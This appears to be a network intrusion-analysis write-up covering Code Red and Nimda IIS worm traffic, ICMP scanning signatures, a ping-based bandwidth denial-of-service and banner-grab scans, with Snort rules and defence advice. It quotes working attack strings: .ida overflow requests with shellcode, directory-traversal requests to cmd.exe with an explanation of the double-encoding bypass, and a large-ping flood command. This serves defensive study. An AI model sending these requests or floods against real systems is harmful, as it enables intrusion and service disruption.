Disable the Messenger Services and block UDP traffic to ports 135 and 1026.

Microsoft IIS Indexing Service DLL Exploit

Most notable of these exploits are the variants of Code Red. To introduce them, Code Red v1 and Code Red v2 have the same payload except for different random scanning algorithms. Code Red II is a completely different worm named this way because its payload contained the string ‘CodeRedII.’ They are grouped here together because all versions exploit the same vulnerability to initially infect target machines.

Snort Alert(s):
For all Code Red variations

04/03-18:18:13.858754 [**] [1:1243:8] WEB-IIS ISAPI .ida attempt [**] [Classification: Web Application Attack] [Priority: 1] {TCP}
64.252.193.160:2952 -> 192.168.1.101:80

For Code Red II Only

04/03-18:18:13.943550 [**] [1:1002:5] WEB-IIS cmd.exe access [**] [Classification: Web Application Attack] [Priority: 1] {TCP}
64.252.193.160:2952 -> 192.168.1.101:80

See here A for the network trace of Code Red
See here B for the network trace of Code Red II

Apache Access Log: For Code Red v1 and v2

81.240.86.170 - - [17/Feb/2003:14:06:48 -0500] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858
%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 
HTTP/1.0" 400 309 "-" "-"

Apache Access Log: For Code Red II

64.252.5.17 - - [04/May/2003:03:15:26 -0400] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%
ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 
HTTP/1.0" 404 1081 "-" "-"

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101; and the Apache Web Server’s access log. The following rules were responsible:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ISAPI .ida attempt"; flow:to_server,established; uricontent:".ida?"; nocase;
reference:arachnids,552; classtype:web-application-attack; reference:bugtraq,1065; reference:cve,CAN-2000-0071; sid:1243; rev:8;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS cmd.exe access"; flow:to_server,established; content:"cmd.exe"; nocase;
classtype:web-application-attack; sid:1002; rev:5;)

Probability the Source Address Was Spoofed
Negligent. There are no spoofing functions in the source code and the exploit can only be transmitted after the TCP 3-way handshake.

Attack Mechanism
The worms scan the Internet for web servers and send the exploit in specially crafted packets hoping the target system is running a vulnerable version of Microsoft’s IIS. Among the several ISAPI extensions installed by default on IIS servers is idq.dll, a component of Index Server/Indexing Service that provides support for administrative scripts such as *.ida files. Idq.dll contains an unchecked buffer in a section of code that handles input URLs and ultimately allows an attacker’s code to be executed on compromised machines.

Exploiting this vulnerability takes an established session with the web server and a call to the idq library (within the URI) and invalid data (remainder of the packet payload). The malformed request will cause a buffer overrun and spill the invalid data (the worm’s instruction code) into an area of memory on the compromised system, which is later executed. This is only the infection mechanism - for details on the various behaviors of Code Red once active on a system, see one of the sources below.

• Microsoft Security Bulletin MS01-033 Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise
• eEye Digital Security – All versions of Microsoft Internet Information Services Remote buffer overflow (SYSTEM Level Access)
• eEye Digital Security .ida “Code Red” Worm
• eEye Digital Security CodeRedII Worm Analysis
• CERT Advisory CA-2001-19 “Code Red” Worm Exploiting Buffer Overflow in IIS Indexing Service DLL
• CERT Incident Note IN-2001-09 “Code Red II:” Another Worm Exploiting Buffer Overflow in IIS Indexing Service DLL
• CAIDA Analysis of Code Red
• CAIDA Code-Red: a case study on the spread and victims of an Internet worm

Evidence of Active Targeting
None – targets are chosen randomly. The algorithm used by Code Red v1 is slightly flawed in that it uses a static seed for its pseudo-random number generator, which generates identical lists of IP addresses on each infected machine. The improved Code Red v2 uses a random seed, giving the worm more rapid and widespread scanning capabilities. The most advanced, Code Red II, gererates a random IP address and then applies a mask to produce the IP address it will probe. The length of the mask determines the similarity between the IP address of the infected machine and the machine to be probed:

• 1/8 of the time CRII probes a completely random address
• 1/2 of the time CRII probes a machine on the same /8 CIDR block
• 3/8 of the time CRII probes a machine on the same /16 CIDR block

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 5 (complete system compromise, trojanized binaries, installed backdoors)
System Countermeasures: 5 (This is a Unix system and is not vulnerable to the attack)
Network Countermeasures: 2 (The firewall nor the router blocked these packets but they were detected by the IDS)
Severity = (4 + 5) – (5 + 2) = 2

Defense Recommendations
Uninstall the vulnerable components of IIS or simply install a patch.

Nimda Internet Worm

Nimda is similar to the Morris/Internet worm of 1988 in terms of versatility. It spreads from client to client via email, client to client via open network share, web server to client via browsing of compromised web sites, client to web server via scanning for the back doors left behind by Code-Red II and Sadmind/IIS worms, and client to web server via active scanning for and exploitation of various Microsoft IIS directory traversal vulnerabilities. The last two methods are evident in the following network trace.

Apache Access Log:

GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir

Above: two attempts to exploit root.exe, the backdoor left by Code Red II

GET /c/winnt/system32/cmd.exe?/c+dir 
GET /d/winnt/system32/cmd.exe?/c+dir

Above: two attempts to exploit backdoors left by Code Red II, this time by accessing cmd.exe from the virtual drives it creates

GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

Above: four attempts to exploit the ‘Escaped Character Decoding Command Execution Vulnerability’

GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir

Above: two attempts to exploit the ‘Extended Unicode Directory Traveral Vulnerability’ using overly long values for “/” (%c1%1c) and “\” (%c0%2f) of the Chinese Unicode character set.

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

Above: two attempts to exploit the ‘Extended Unicode Directory Traveral Vulnerability’ using overly long values for “/” (%c0%af) and “\” (%c1%9c) of the American Unicode character set.

GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir 
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir

Above: four attempts to exploit the ‘Escaped Character Decoding Command Execution Vulnerability’

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by the Apache Web Server’s logging facility.

Probability the Source Address Was Spoofed
Negligent. The source code was not available for review but nonetheless the exploit can only be transmitted after the TCP 3-way handshake.

Attack Mechanism
The first and most obvious exploit Nimda tries to take advantage of are the backdoors left by Code Red II. If the machine was previously infected by this worm, Nimda would be granted an easy-access shell with which it would retrieve its complete source code via tftp. This is hardly the only way Nimda can exploit IIS servers though.

Altogether there are four attempts to exploit the Unicode Directory Traveral Vulnerability. Unpatched IIS software decodes Unicode characters after path checking rather than before. As a result, the server allows directory traversal if the “/” and “\” characters are encoded with their Unicode equivalents. In the trace above we see Nimda attempt this attack using both the American and Chinese encodings of “/” and “\”. If any one of these is successful, Nimda would once again be granted a shell to execute arbitrary commands.

We also see Nimda transmit eight attempts to exploit the Escaped Character Decoding Command Execution Vulnerability. Upatched IIS software attempts to decode requested pathnames twice. IIS will decode the supplied string once and pass the result through its security checker. If it passes, the result is mistakenly decoded again and no security check takes place. Nimda double-encodes the “\” character with its Unicode equivalents, evading the server’s security mechanisms. For example, the “\” character is ‘%5c’ in Unicode. To perform the exploit we encode each character once more:

% = %25
5 = %35
c = %63

Now, any of the following combinations will resolve to %5c after the first decoding, which passes the security check. The second decoding results in “\” which in absence of the security check, gets interpreted by the server.

%25%35%63
%25%35c 
%255c
%%35%63
%%35c
%5%63

The purpose of these exploits is to cause the web server to climb the filesystem and execute files outside of its root directory. IIS will allow execution of a file that resides in a directory not marked as executable if the file is accessed via a path relative to a directory that is executable. This explains why we see requests issued relative to directories such as /scripts, because IIS typically has execute permissions there. Take the following example file system and watch how the double-encoding and directory traversal technique works.

------
| C: | (5) ascend to parent directory
------

  + ---------
  | Inetpub | (4) ascend to parent directory
  -----------

      + ---------
      | wwwroot | (1) initial position (3) ascend to parent directory
      -----------

          + ---------
          | scripts | (2) descend to directory ‘scripts’
          -----------
 
+ -------
| WINNT | (6) descend to directory ‘WINNT’
---------

      + ----------
      | system32 | (7) descend to directory ‘system32’
      ------------
 
GET /scripts/..%255c..%255c..%255c../WINNT/system32/cmd.exe?/c+dir

We start at position (1), the web server’s root directory. With the request ‘GET /scripts’ we descend to the named directory (2) within the root directory. Next we turn around and ascend three levels with the given path ‘..%255c..%255c..%255c’ (the exploit) and end up at C:, the top of the filesystem (5). From here we descend again, past ‘WINNT’ and into ‘system32,’ where cmd.exe resides. We are requesting the execution of this file with the arguments ‘c+dir’, which would return a directory listing and verify the exploit worked.

• CERT Advisory CA-2001-26 Nimda Worm
• Microsoft Security Bulletin MS00-078 Patch Available for ‘Web Server Folder Traversal’ Vulnerability
• Microsoft Virus Protection Strategies – Information on the Nimda Worm
• SecurityFocus Attack Registry & Intelligence Service – Nimda Worm Analysis
• Incidents.org NIMDA Worm/Virus Report
• SecurityFocus – Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability
• SecurityFocus – Microsoft IIS/PWS Escaped Characters Decoding Command Execution Vulnerability

Evidence of Active Targeting
None. As with other worms, Nimda randomly generates a list of IP addresses to scan.
Apparently, 50% of the time an address with the same first two octets will be chosen, 25% of the time an address with the same first octet will be chosen, and 25% of the time a completely random address will be chosen.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 5 (complete system compromise, trojanized binaries, exposed C: drive, added system users)
System Countermeasures: 5 (This is a Unix system and is not vulnerable to the attack)
Network Countermeasures: 2 (The firewall nor the router blocked these packets but they were detected by the IDS)
Severity = (4 + 5) – (5 + 2) = 2

Defense Recommendations
Patch the vulnerable IIS software to prevent such exploits. Based on the configuration and use of personal networks, take measures to secure the other ways Nimda can infect: mainly through the NetBIOS ports, email ports, and client browsing.

Simple Reconnaissance – Echo Requests from various tools

These traces present pings from several distinct software programs and operating systems. Oftentimes scanners will use rare tools or customize the payloads, so many remain unidentified.

07/11-12:33:12.542966 209.113.185.86 -> 64.252.48.120
ICMP TTL:21 TOS:0x0 ID:25616 IpLen:20 DgmLen:158
Type:8 Code:0 ID:512 Seq:60019 ECHO
49 50 20 4E 65 74 77 6F 72 6B 20 42 72 6F 77 73 IP Network Brows
65 72 20 56 65 72 73 69 6F 6E 20 35 2E 30 2E 31 er Version 5.0.1
38 38 20 4D 61 72 63 68 20 32 30 30 32 20 43 6F 88 March 2002 Co
70 79 72 69 67 68 74 20 A9 20 31 39 39 35 20 2D pyright . 1995 -
20 32 30 30 32 20 53 6F 6C 61 72 57 69 6E 64 73 2002 SolarWinds
2E 4E 65 74 3A 20 56 69 73 69 74 20 68 74 74 70 .Net: Visit http
3A 2F 2F 53 6F 6C 61 72 57 69 6E 64 73 2E 4E 65 ://SolarWinds.Ne
74 20 66 6F 72 20 6D 6F 72 65 20 64 65 74 61 69 t for more detai
6C 73                                           ls

Above: the rather obvious echo request from a SolarWinds Network Management Tool

06/10-05:02:27.267101 64.228.244.27 -> 64.252.186.40
ICMP TTL:117 TOS:0x0 ID:49391 IpLen:20 DgmLen:36
Type:8 Code:0 ID:768 Seq:34994 ECHO
00 00 00 00 00 00 00 00 ........

Above: the less obvious but still readily identifiable echo request from SuperScan Network Scanner. Signature: 8 byte payload of all 0x00 characters.

06/14-18:01:19.763350 134.56.242.250 -> 64.252.164.173
ICMP TTL:243 TOS:0x0 ID:4673 IpLen:20 DgmLen:28
Type:8 Code:0 ID:768 Seq:31490 ECHO

Above: the echo request from NMAP Network Mapper Tool. Signature: 0 byte payload.

08/14-15:21:13.102987 66.214.1.36 -> 24.125.4.53
ICMP TTL:112 TOS:0x0 ID:35303 IpLen:20 DgmLen:60
Type:8 Code:0 ID:256 Seq:57369 ECHO
08 CA 4E 80 9C 9C 68 FF 30 9B 68 FF 64 9B 68 FF ..N...h.0.h.d.h.
63 ED 58 80 20 50 9F FF 30 9B 68 FF 00 C0 EC 7F c.X. P..0.h.....

Above: echo request from an unidentified source.

08/14-13:43:27.225406 24.173.3.236 -> 24.125.4.53
ICMP TTL:43 TOS:0x0 ID:61441 IpLen:20 DgmLen:60
Type:8 Code:0 ID:512 Seq:35952 ECHO
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

Above: echo request from an unidentified source.

08/13-05:05:59.236030 24.126.224.192 -> 24.125.4.53
ICMP TTL:47 TOS:0x0 ID:3840 IpLen:20 DgmLen:60
Type:8 Code:0 ID:512 Seq:55305 ECHO
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 ABCDEFGHIJKLMNOP
51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 QRSTUVWXYZ[\]^_`

Above: echo request from an unidentified source.

08/13-05:51:50.179233 204.111.46.100 -> 24.125.4.53
ICMP TTL:111 TOS:0x0 ID:38063 IpLen:20 DgmLen:37
Type:8 Code:0 ID:256 Seq:34557 ECHO
68 65 6C 6C 6F 20 3F 3F 3F hello ???

Above: echo request from an unidentified source.

08/08-09:30:09.044942 128.9.160.83 -> 24.125.4.53
ICMP TTL:46 TOS:0x0 ID:0 IpLen:20 DgmLen:84 DF
Type:8 Code:0 ID:33101 Seq:2 ECHO
F1 A5 33 3F A0 71 04 00 08 09 0A 0B 0C 0D 0E 0F ..3?.q..........
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&'()*+,-./
30 31 32 33 34 35 36 37 01234567

Above: an echo request from a Unix or Unix-like OS. Signature: 84 byte datagram length. The first 8 bytes are used for timestamping and the remainder is a collection of numbers and symbols.

08/09-10:07:35.542962 217.230.180.106 -> 24.125.4.53
ICMP TTL:52 TOS:0x0 ID:27206 IpLen:20 DgmLen:84
Type:8 Code:0 ID:768 Seq:13067 ECHO
50 69 6E 67 69 6E 67 20 66 72 6F 6D 20 44 65 6C Pinging from Del
70 68 69 20 63 6F 64 65 20 77 72 69 74 74 65 6E phi code written
20 62 79 20 46 2E 20 50 69 65 74 74 65 20 20 20 by F. Piette 
20 20 20 20 20 20 20 20

Above: echo request from a Windows host running Delphi software – probably the Internet Component Suite (ICS) by Francois Peitte.

08/05-11:51:40.640449 24.217.9.174 -> 24.125.4.53
ICMP TTL:241 TOS:0x0 ID:40686 IpLen:20 DgmLen:92
Type:8 Code:0 ID:512 Seq:54508 ECHO
A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 ................
A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 ................
A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 ................
A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 A7 ................

Above: echo request from an unidentified source.

08/05-06:02:53.456800 24.84.197.243 -> 24.125.4.53
ICMP TTL:44 TOS:0x0 ID:12997 IpLen:20 DgmLen:84
Type:8 Code:0 ID:512 Seq:4800 ECHO
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA ................
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA ................
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA ................
AA AA AA AA AA AA AA AA                         ........

Above: echo request from Cyberkit 2.2 for Windows. Signature: first 32 bytes of the payload are ‘A.' This could also be pings from an Internet worm such as Welchia.

07/03-10:55:28.488030 194.29.201.102 -> 69.0.38.33
ICMP TTL:114 TOS:0x0 ID:41846 IpLen:20 DgmLen:60
Type:8 Code:19 ID:13 Seq:256 ECHO
61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 abcdefghijklmnop
71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 qrstuvwabcdefghi

Above: echo request from a Microsoft Windows ping program. Signature: 60 byte datagram length and a payload composed of the lowercase alphabet.

07/02-13:35:36.172244 68.49.180.157 -> 69.0.38.33
ICMP TTL:108 TOS:0x0 ID:1238 IpLen:20 DgmLen:44
Type:8 Code:0 ID:959 Seq:0 ECHO
30 31 32 33 34 35 36 37 38 39 61 62 63 64 65 66 0123456789abcdef

Above: echo request from an unidentified source.

07/13-22:55:38.380327 64.252.39.72 -> 64.252.48.120
ICMP TTL:126 TOS:0x0 ID:28954 IpLen:20 DgmLen:60
Type:8 Code:0 ID:0 Seq:11798 ECHO
EA 00 0C 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Above: echo request from an unidentified source.

Source of Trace
The border router and firewall to a small Ethernet LAN.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the external (WAN) interface of the network’s border router and firewall.

Probability the Source Address Was Spoofed
Low, considering the nature of the packets. These are echo requests used to determine which hosts on a network are live – without a response the queries are useless to the sender. When ICMP packets are part of a Smurf attack or other denial of service attempt they would likely be spoofed, but we would also see thousands or millions of them in a very short time period.

Attack Mechanism
These are simple network discovery traces which utilize ICMP Type 8 Code 0, otherwise known as Echo Request. If the target host accepts the packet it responds with ICMP Type 0 Code 0, or Echo Reply. This indicates to the sender that its target host is alive and accessible from the Internet.

• Snort Network Intrusion Detection System signature for SID 474 ICMP SuperScan Echo
• Snort Network Intrusion Detection System signature for SID 483 ICMP PING Cyberkit 2.2 Windows
• Snort Network Intrusion Detection System signature for SID 469 ICMP PING NMAP
• Snort Network Intrusion Detection System signature for SID 1918 SCAN SolarWinds IP scan attempt
• Snort Network Intrusion Detection System signature for SID 372 ICMP Delphi-Piette Windows

Evidence of Active Targeting
ICMP scans are usually carried out against entire networks.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 5 (This is the network’s border router and firewall)
Attack Lethality: 1 (This is not an attack in itself)
System Countermeasures: 2.5 (None taken but none needed)
Network Countermeasures: 5 (The firewall drops Echo Requests from the WAN)
Severity = (5 + 1) – (2.5 + 5) = -1.5

Defense Recommendations
Variable – allowing inbound Echo Requests from the Internet is threatening to some, yet it is also a luxury for troubleshooting.

Bandwidth Consumption Denial of Service

This is a rare trace of both sides of a successful bandwidth consumption denial of service attack. We see the exploit from the attackers view as well as the victim. It has been gently edited to preserve the confidentiality of the attacking system (dos-ip). To initiate the attack, the following command was executed on the remote system: (our IP at this time was 64.252.172.198)

[root@ns1 root]# ping -s 35000 64.252.172.198
PING 64.252.172.198 (64.252.172.198) from dos-ip : 35000(35028) bytes of data.

From 66.159.184.233 icmp_seq=1 Frag needed and DF set (mtu = 1492)
35008 bytes from 64.252.172.198: icmp_seq=3 ttl=54 time=2291 ms
35008 bytes from 64.252.172.198: icmp_seq=4 ttl=54 time=3312 ms
35008 bytes from 64.252.172.198: icmp_seq=5 ttl=54 time=4332 ms
35008 bytes from 64.252.172.198: icmp_seq=6 ttl=54 time=5354 ms
35008 bytes from 64.252.172.198: icmp_seq=7 ttl=54 time=6380 ms
35008 bytes from 64.252.172.198: icmp_seq=8 ttl=54 time=7403 ms
35008 bytes from 64.252.172.198: icmp_seq=9 ttl=54 time=8422 ms
35008 bytes from 64.252.172.198: icmp_seq=10 ttl=54 time=9440 ms
35008 bytes from 64.252.172.198: icmp_seq=11 ttl=54 time=10459 ms
35008 bytes from 64.252.172.198: icmp_seq=12 ttl=54 time=11476 ms
35008 bytes from 64.252.172.198: icmp_seq=13 ttl=54 time=12496 ms
35008 bytes from 64.252.172.198: icmp_seq=14 ttl=54 time=13514 ms
35008 bytes from 64.252.172.198: icmp_seq=15 ttl=54 time=14535 ms
35008 bytes from 64.252.172.198: icmp_seq=16 ttl=54 time=15551 ms
35008 bytes from 64.252.172.198: icmp_seq=17 ttl=54 time=16571 ms
35008 bytes from 64.252.172.198: icmp_seq=18 ttl=54 time=17588 ms
35008 bytes from 64.252.172.198: icmp_seq=19 ttl=54 time=18606 ms
35008 bytes from 64.252.172.198: icmp_seq=20 ttl=54 time=19625 ms
35008 bytes from 64.252.172.198: icmp_seq=21 ttl=54 time=20644 ms
35008 bytes from 64.252.172.198: icmp_seq=22 ttl=54 time=21662 ms
35008 bytes from 64.252.172.198: icmp_seq=23 ttl=54 time=22682 ms
35008 bytes from 64.252.172.198: icmp_seq=24 ttl=54 time=23705 ms
35008 bytes from 64.252.172.198: icmp_seq=25 ttl=54 time=24724 ms
35008 bytes from 64.252.172.198: icmp_seq=26 ttl=54 time=25743 ms
35008 bytes from 64.252.172.198: icmp_seq=27 ttl=54 time=26761 ms
35008 bytes from 64.252.172.198: icmp_seq=28 ttl=54 time=27779 ms

--- 64.252.172.198 ping statistics ---
56 packets transmitted, 26 received, +1 errors, 53% loss, time 55059ms
rtt min/avg/max/mdev = 2291.780/15041.162/27779.971/7644.449 ms, pipe 28

During this time, the following command to capture and log the attack was executed on our border gateway:

[mnin@fw root]# tcpdump –i eth0 host dos-ip tcpdump: listening on eth0

20:15:29.352534 dos-ip > 64.252.172.198: (frag 8529:1152@33856)
20:15:29.362497 dos-ip > 64.252.172.198: (frag 8529:1472@32384+)
20:15:29.371392 dos-ip > 64.252.172.198: (frag 8529:1472@30912+)
20:15:29.380267 dos-ip > 64.252.172.198: (frag 8529:1472@29440+)
20:15:29.389128 dos-ip > 64.252.172.198: (frag 8529:1472@27968+)
20:15:29.397773 dos-ip > 64.252.172.198: (frag 8529:1472@26496+)
20:15:29.406876 dos-ip > 64.252.172.198: (frag 8529:1472@25024+)
20:15:29.415497 dos-ip > 64.252.172.198: (frag 8529:1472@23552+)
20:15:29.424376 dos-ip > 64.252.172.198: (frag 8529:1472@22080+)
20:15:29.433242 dos-ip > 64.252.172.198: (frag 8529:1472@20608+)
20:15:29.442104 dos-ip > 64.252.172.198: (frag 8529:1472@19136+)
20:15:29.450735 dos-ip > 64.252.172.198: (frag 8529:1472@17664+)
20:15:29.459906 dos-ip > 64.252.172.198: (frag 8529:1472@16192+)
20:15:29.468478 dos-ip > 64.252.172.198: (frag 8529:1472@14720+)
20:15:29.477354 dos-ip > 64.252.172.198: (frag 8529:1472@13248+)
20:15:29.486211 dos-ip > 64.252.172.198: (frag 8529:1472@11776+)
20:15:29.495095 dos-ip > 64.252.172.198: (frag 8529:1472@10304+)
20:15:29.503729 dos-ip > 64.252.172.198: (frag 8529:1472@8832+)
20:15:29.512822 dos-ip > 64.252.172.198: (frag 8529:1472@7360+)
20:15:29.521699 dos-ip > 64.252.172.198: (frag 8529:1472@5888+)
20:15:29.530332 dos-ip > 64.252.172.198: (frag 8529:1472@4416+)
20:15:29.539437 dos-ip > 64.252.172.198: (frag 8529:1472@2944+)
20:15:29.548073 dos-ip > 64.252.172.198: (frag 8529:1472@1472+)
20:15:29.556939 dos-ip > 64.252.172.198: icmp: echo request (frag 8529:1472@0+)
20:15:29.557070 64.252.172.198 > dos-ip: (frag 12511:1152@33856)
20:15:29.557079 64.252.172.198 > dos-ip: (frag 12511:1472@32384+)
20:15:29.557088 64.252.172.198 > dos-ip: (frag 12511:1472@30912+)
20:15:29.557096 64.252.172.198 > dos-ip: (frag 12511:1472@29440+)
20:15:29.557103 64.252.172.198 > dos-ip: (frag 12511:1472@27968+)
20:15:29.557110 64.252.172.198 > dos-ip: (frag 12511:1472@26496+)
20:15:29.557117 64.252.172.198 > dos-ip: (frag 12511:1472@25024+)
20:15:29.557124 64.252.172.198 > dos-ip: (frag 12511:1472@23552+)
20:15:29.557131 64.252.172.198 > dos-ip: (frag 12511:1472@22080+)
20:15:29.557138 64.252.172.198 > dos-ip: (frag 12511:1472@20608+)
20:15:29.557145 64.252.172.198 > dos-ip: (frag 12511:1472@19136+)
20:15:29.557152 64.252.172.198 > dos-ip: (frag 12511:1472@17664+)
20:15:29.557159 64.252.172.198 > dos-ip: (frag 12511:1472@16192+)
20:15:29.557166 64.252.172.198 > dos-ip: (frag 12511:1472@14720+)
20:15:29.557173 64.252.172.198 > dos-ip: (frag 12511:1472@13248+)
20:15:29.557356 64.252.172.198 > dos-ip: (frag 12511:1472@11776+)
20:15:29.557362 64.252.172.198 > dos-ip: (frag 12511:1472@10304+)
20:15:29.557739 64.252.172.198 > dos-ip: (frag 12511:1472@8832+)
20:15:29.557745 64.252.172.198 > dos-ip: (frag 12511:1472@7360+)
20:15:29.558164 64.252.172.198 > dos-ip: (frag 12511:1472@5888+)
20:15:29.558170 64.252.172.198 > dos-ip: (frag 12511:1472@4416+)
20:15:29.558586 64.252.172.198 > dos-ip: (frag 12511:1472@2944+)
20:15:29.558592 64.252.172.198 > dos-ip: (frag 12511:1472@1472+)
20:15:29.559011 64.252.172.198 > dos-ip: icmp: echo reply (frag 12511:1472@0+)

Source of Trace
The border router and firewall to a small Ethernet LAN.

Detect Generated By
This detect was generated by tcpdump running on the external (WAN) interface of the network’s border router and firewall.

Probability the Source Address Was Spoofed
A friend on the attacking system generated these traces (that’s how we got the output of their terminal and time to prepare). These packets in particular were not spoofed, however in almost all other situations they would be. Indeed, these are ICMP Echo Request packets as discussed in the previous section on simple reconnaissance, but they are not being used for reconnaissance. The attacker need not receive any responses from the victim for this attack to work.

Attack Mechanism
This is a simple bandwidth consumption denial of service which can take place whenever one’s network gets overloaded with data. If an attacker can fire enough bytes fast enough at a slower network, the slower network becomes congested. Here the attacker (dos-ip) forcefully transmits fragmented 35028-byte packets at the victim (64.252.172.198) from three sources on the Internet (only records from one are shown).

From the attacker’s terminal we can watch the effect this has on our own network. The round-trip time for these echo requests gradually increase from 2291 ms to 27779 ms. Round-trip times from a personal machine in Virginia to several locations around the world took between 10 and 150 ms, for comparison. More proof of this effect are the statistics listed at the end of our attacker’s pinging session. Out of 56 Echo Requests, only 26 replies made it back - a 53% loss. These 26 replies were the 3rd through 28th in sequence, meaning the victim’s kernel has no problem returning the fragments in order (this is not a resource starvation denial of service). So what happened to the 29th through 56th reply in sequence? They are probably still on their way back.

We also view the attack from the victim’s end by running tcpdump on the interface receiving the echo requests. We can see the large gap in time between when the echo request is received and when the reply is sent. This is because the system cannot act upon the packets until all fragments are received and placed in order. According to protocol, the echo reply payload must literally mirror that of the echo request. Until the victim receives the last fragment in sequence it cannot tell how large the reply should be, much less the exact content to be echoed. Packets this large can also quickly fill IP's input buffer and cause another type of denial of service - resource starvation.

Evidence of Active Targeting
Yes, this is active targeting against a single known host address.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 5 (This is the network’s border router and firewall)
Attack Lethality: 4 (Ability to use the Internet was severed completely – had this been a business, drastic losses would occur)
System Countermeasures: 1 (Helpless – the system could be configured to ignore echo requests but the attack would still be successful)
Network Countermeasures: 1 (Helpless unless an upstream router owned by my ISP filtered echo requests to my address. My address is dynamic and this would never happen anyway)
Severity = (5 + 4) – (1 + 1) = 7

Defense Recommendations
Subscribe to the thickest Internet trunk possible and go from there.

Additional Section – Simple Reconnaissance and Trojan Scans

07/22-16:52:44.544615 210.178.12.100:50896 -> 64.252.48.120:80
TCP TTL:229 TOS:0x0 ID:54189 IpLen:20 DgmLen:58 DF
***AP*** Seq: 0xEA345854 Ack: 0xE229929C Win: 0x269C TcpLen: 20
47 45 54 20 78 20 48 54 54 50 2F 31 2E 30 0D 0A GET x HTTP/1.0..
0D 0A                                           ..

This is a trace no one seems to be able to agree on. Some say it is the signature of the Solaris Sadmind worm, some blame it on the worm exploiting Apache’s chunked handling vulnerability, while others say it comes from a Code Red variant. Nonetheless it is invalid on any web server (unless there is a file named x). It would fit in the category of ‘banner grabbers’ used by several exploits seeking information on the operating system and server software, which is returned in the error message.

03/02-06:36:25.773171 200.169.63.102:40732 -> 192.168.1.101:22
TCP TTL:49 TOS:0x0 ID:9497 IpLen:20 DgmLen:80 DF
***AP*** Seq: 0x6E1E0C39 Ack: 0x7E662AED Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 82192726 347978541
53 53 48 2D 31 2E 30 2D 53 53 48 5F 56 65 72 73 SSH-1.0-SSH_Vers
69 6F 6E 5F 4D 61 70 70 65 72 0A 00 ion_Mapper..

